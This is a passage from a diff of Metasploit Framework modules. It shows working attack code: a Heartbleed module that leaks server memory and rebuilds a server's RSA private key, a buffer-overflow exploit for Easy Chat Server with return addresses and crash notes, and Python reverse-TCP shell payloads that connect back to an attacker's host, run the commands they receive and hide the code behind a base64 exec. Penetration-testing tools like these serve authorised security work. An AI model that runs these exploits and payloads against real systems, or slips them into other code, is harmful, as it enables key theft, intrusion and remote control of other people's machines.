def getkeys
|
||||
print_status("#{peer} - Scanning for private keys")
|
||||
count = 0
|
||||
|
||||
|
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{peer} - e: #{e}")
|
||||
print_status("#{peer} - #{Time.now.getutc} - Starting.")
|
||||
|
||||
datastore['MAX_KEYTRIES'].times {
|
||||
max_keytries.times {
|
||||
# Loop up to MAX_KEYTRIES times, looking for keys
|
||||
if count % datastore['STATUS_EVERY'] == 0
|
||||
if count % status_every == 0
|
||||
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
|
||||
end
|
||||
|
||||
p, q = get_factors(bleed, n) # Try to find factors in mem
|
||||
bleedresult = bleed
|
||||
return unless bleedresult
|
||||
|
||||
p, q = get_factors(bleedresult, n) # Try to find factors in mem
|
||||
|
||||
unless p.nil? || q.nil?
|
||||
key = key_from_pqe(p, q, e)
|
||||
|
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status(key.export)
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"text/plain",
|
||||
'openssl.heartbleed.server',
|
||||
'text/plain',
|
||||
rhost,
|
||||
key.export,
|
||||
nil,
|
||||
"OpenSSL Heartbleed Private Key"
|
||||
'OpenSSL Heartbleed Private Key'
|
||||
)
|
||||
print_status("#{peer} - Private key stored in #{path}")
|
||||
return
|
||||
end
|
||||
count += 1
|
||||
}
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
|
||||
end
|
||||
|
||||
def heartbeat(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack("n") # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack("n")
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def get_ne()
|
||||
# Fetch rhost's cert, return public key values
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
disconnect
|
||||
|
||||
unless cert
|
||||
# Returns the N and E params from the public server certificate
|
||||
def get_ne
|
||||
unless @cert
|
||||
print_error("#{peer} - No certificate found")
|
||||
return
|
||||
end
|
||||
|
||||
return cert.public_key.params["n"], cert.public_key.params["e"]
|
||||
return @cert.public_key.params['n'], @cert.public_key.params['e']
|
||||
end
|
||||
|
||||
# Tries to find pieces of the private key in the provided data
|
||||
def get_factors(data, n)
|
||||
# Walk through data looking for factors of n
|
||||
psize = n.num_bits / 8 / 2
|
||||
|
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return p, q
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
|
||||
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Generates the private key from the P, Q and E values
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
|
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return key
|
||||
end
|
||||
|
||||
end
|
||||
#
|
||||
# SSL/TLS packet methods
|
||||
#
|
||||
|
||||
# Creates and returns a new SSL record with the provided data
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
# generates a CLIENT_HELLO ssl/tls packet
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
|
||||
hello_data << [time_epoch].pack('N') # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack('n')
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack('n') # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
# Parse SSL header
|
||||
def parse_ssl_record(data)
|
||||
ssl_records = []
|
||||
remaining_data = data
|
||||
ssl_record_counter = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
ssl_record_counter += 1
|
||||
ssl_unpacked = remaining_data.unpack('CH4n')
|
||||
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
|
||||
ssl_type = ssl_unpacked[0]
|
||||
ssl_version = ssl_unpacked[1]
|
||||
ssl_len = ssl_unpacked[2]
|
||||
vprint_debug("SSL record ##{ssl_record_counter}:")
|
||||
vprint_debug("\tType: #{ssl_type}")
|
||||
vprint_debug("\tVersion: 0x#{ssl_version}")
|
||||
vprint_debug("\tLength: #{ssl_len}")
|
||||
if ssl_type != HANDSHAKE_RECORD_TYPE
|
||||
vprint_debug("\tWrong Record Type! (#{ssl_type})")
|
||||
else
|
||||
ssl_data = remaining_data[5, ssl_len]
|
||||
handshakes = parse_handshakes(ssl_data)
|
||||
ssl_records << {
|
||||
:type => ssl_type,
|
||||
:version => ssl_version,
|
||||
:length => ssl_len,
|
||||
:data => handshakes
|
||||
}
|
||||
end
|
||||
remaining_data = remaining_data[(ssl_len + 5)..-1]
|
||||
end
|
||||
|
||||
ssl_records
|
||||
end
|
||||
|
||||
# Parse Handshake data returned from servers
|
||||
def parse_handshakes(data)
|
||||
# Can contain multiple handshakes
|
||||
remaining_data = data
|
||||
handshakes = []
|
||||
handshake_count = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
hs_unpacked = remaining_data.unpack('CCn')
|
||||
next if hs_unpacked.nil? or hs_unpacked.length < 3
|
||||
hs_type = hs_unpacked[0]
|
||||
hs_len_pad = hs_unpacked[1]
|
||||
hs_len = hs_unpacked[2]
|
||||
hs_data = remaining_data[4, hs_len]
|
||||
handshake_count += 1
|
||||
vprint_debug("\tHandshake ##{handshake_count}:")
|
||||
vprint_debug("\t\tLength: #{hs_len}")
|
||||
|
||||
handshake_parsed = nil
|
||||
case hs_type
|
||||
when HANDSHAKE_SERVER_HELLO_TYPE
|
||||
vprint_debug("\t\tType: Server Hello (#{hs_type})")
|
||||
handshake_parsed = parse_server_hello(hs_data)
|
||||
when HANDSHAKE_CERTIFICATE_TYPE
|
||||
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
|
||||
handshake_parsed = parse_certificate_data(hs_data)
|
||||
when HANDSHAKE_KEY_EXCHANGE_TYPE
|
||||
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
|
||||
# handshake_parsed = parse_server_key_exchange(hs_data)
|
||||
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
|
||||
else
|
||||
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
|
||||
end
|
||||
|
||||
handshakes << {
|
||||
:type => hs_type,
|
||||
:len => hs_len,
|
||||
:data => handshake_parsed
|
||||
}
|
||||
remaining_data = remaining_data[(hs_len + 4)..-1]
|
||||
end
|
||||
|
||||
handshakes
|
||||
end
|
||||
|
||||
# Parse Server Hello message
|
||||
def parse_server_hello(data)
|
||||
version = data.unpack('H4')[0]
|
||||
vprint_debug("\t\tServer Hello Version: 0x#{version}")
|
||||
random = data[2,32].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello random data: #{random}")
|
||||
session_id_length = data[34,1].unpack('C')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
|
||||
session_id = data[35,session_id_length].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
|
||||
# TODO Read the rest of the server hello (respect message length)
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
# Parse certificate data
|
||||
def parse_certificate_data(data)
|
||||
# get certificate data length
|
||||
unpacked = data.unpack('Cn')
|
||||
cert_len_padding = unpacked[0]
|
||||
cert_len = unpacked[1]
|
||||
vprint_debug("\t\tCertificates length: #{cert_len}")
|
||||
# contains multiple certs
|
||||
already_read = 3
|
||||
cert_counter = 0
|
||||
while already_read < cert_len
|
||||
start = already_read
|
||||
cert_counter += 1
|
||||
# get single certificate length
|
||||
single_cert_unpacked = data[start, 3].unpack('Cn')
|
||||
single_cert_len_padding = single_cert_unpacked[0]
|
||||
single_cert_len = single_cert_unpacked[1]
|
||||
vprint_debug("\t\tCertificate ##{cert_counter}:")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
||||
certificate_data = data[(start + 3), single_cert_len]
|
||||
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
||||
# First received certificate is the one from the server
|
||||
@cert = cert if @cert.nil?
|
||||
#vprint_debug("Got certificate: #{cert.to_text}")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
|
||||
already_read = already_read + single_cert_len + 3
|
||||
end
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
|
||||
sending a overly long authentication request, an attacker may be able to execute
|
||||
arbitrary code.
|
||||
|
||||
NOTE: The offset to SEH is influenced by the installation path of the program.
|
||||
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
|
||||
with "\users\" and the string passed as the username HTTP paramter.
|
||||
This module exploits a stack buffer overflow in EFS Software Easy Chat
|
||||
Server versions 2.0 to 3.1. By sending an overly long authentication
|
||||
request, an attacker may be able to execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
|
||||
'Author' =>
|
||||
[
|
||||
'LSO <lso[at]hushmail.com>', # original metasploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2004-2466' ],
|
||||
[ 'CVE', '2004-2466' ],
|
||||
[ 'OSVDB', '7416' ],
|
||||
[ 'BID', '25328' ],
|
||||
[ 'OSVDB', '106841' ],
|
||||
[ 'BID', '25328' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 500,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
|
||||
'Space' => 7000,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
|
||||
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
|
||||
# -- Windows XP SP 3 (x86) (EN)
|
||||
# -- Windows 7 SP 1 (x64) (EN)
|
||||
# -- Windows 8 SP 0 (x64) (EN)
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
# p/p/r SSLEAY32.dll
|
||||
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
|
||||
# p/p/r SSLEAY32.dll
|
||||
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 14 2007',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
|
||||
"C:\\Program Files\\Easy Chat Server" ])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
def check
|
||||
info = http_fingerprint # check method
|
||||
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
|
||||
if (info =~ /Easy Chat Server\/1\.0/)
|
||||
return Exploit::CheckCode::Appears
|
||||
version = get_version
|
||||
if not version
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
vprint_status "#{peer} - Found version: #{version}"
|
||||
if version !~ /^(2\.\d|3\.0|3\.1)$/
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
path = get_install_path
|
||||
if not path
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
vprint_status "#{peer} - Found path: #{path}"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
#
|
||||
# Get software version from change log
|
||||
#
|
||||
def get_version
|
||||
res = send_request_raw 'uri' => '/whatsnew.txt'
|
||||
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
|
||||
return "#{$1}"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Get software installation path from uninstall file
|
||||
#
|
||||
def get_install_path
|
||||
res = send_request_raw 'uri' => '/unins000.dat'
|
||||
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
|
||||
return "#{$1}"
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# randomize some values.
|
||||
val = rand_text_alpha(rand(10) + 1)
|
||||
num = rand_text_numeric(1)
|
||||
|
||||
path = datastore['PATH'] + "\\users\\"
|
||||
print_status("path: " + path)
|
||||
# get target
|
||||
if target.name =~ /Automatic/
|
||||
version = get_version
|
||||
vprint_status "#{peer} - Found version: #{version}" if version
|
||||
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
|
||||
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
|
||||
elsif version =~ /(2\.0)/
|
||||
my_target = targets[1]
|
||||
elsif version =~ /(2\.\d|3\.0|3\.1)/
|
||||
my_target = targets[2]
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
|
||||
# exploit buffer.
|
||||
filler = rand_text_alpha(256 - path.length)
|
||||
seh = generate_seh_payload(target.ret)
|
||||
juju = filler + seh
|
||||
# get install path
|
||||
path = get_install_path
|
||||
if not path
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
|
||||
end
|
||||
path << "\\users\\"
|
||||
vprint_status "#{peer} - Using path: #{path}"
|
||||
|
||||
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
|
||||
# send payload
|
||||
sploit = rand_text_alpha(256 - path.length)
|
||||
sploit << generate_seh_payload(my_target.ret)
|
||||
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
|
||||
send_request_cgi({
|
||||
'uri' => '/chat.ghp',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'username' => sploit,
|
||||
'password' => rand_text_alphanumeric(rand(10) + 1),
|
||||
'room' => 1,
|
||||
'sex' => rand_text_numeric(1)
|
||||
}
|
||||
}, 5)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
send_request_raw({'uri' => uri}, 5)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
0x004144C8 calls sprintf with the following arguments:
|
||||
sprintf(&FileName, "%susers\\%s", path, username);
|
||||
|
||||
Since we can make the username larger than the allocated buffer size
|
||||
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
|
||||
a short jmp to the beginning of our shellcode.
|
||||
|
||||
(46c.144): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
|
||||
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
||||
EasyChat+0x45f34:
|
||||
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
|
||||
|
||||
0:005> !exchain
|
||||
01216dd8: 41414141
|
||||
Invalid exception stack at 41414141
|
||||
=end
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Reverse TCP (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compat with 2.3.3',
|
||||
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd << "import socket,os\n"
|
||||
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
||||
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
|
||||
# The actual IO
|
||||
cmd << "#{dead}=False\n"
|
||||
cmd << "while not #{dead}:\n"
|
||||
cmd << "\tdata=so.recv(1024)\n"
|
||||
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
|
||||
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
|
||||
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
|
||||
cmd << "\tso.send(stdout_value)\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -15,12 +15,12 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
|
@ -36,8 +36,7 @@ module Metasploit3
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -60,11 +59,10 @@ module Metasploit3
|
|||
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
||||
cmd += "\ts.send(stdout_value)\n"
|
||||
|
||||
# The *nix shell wrapper to keep things clean
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
return cmd
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue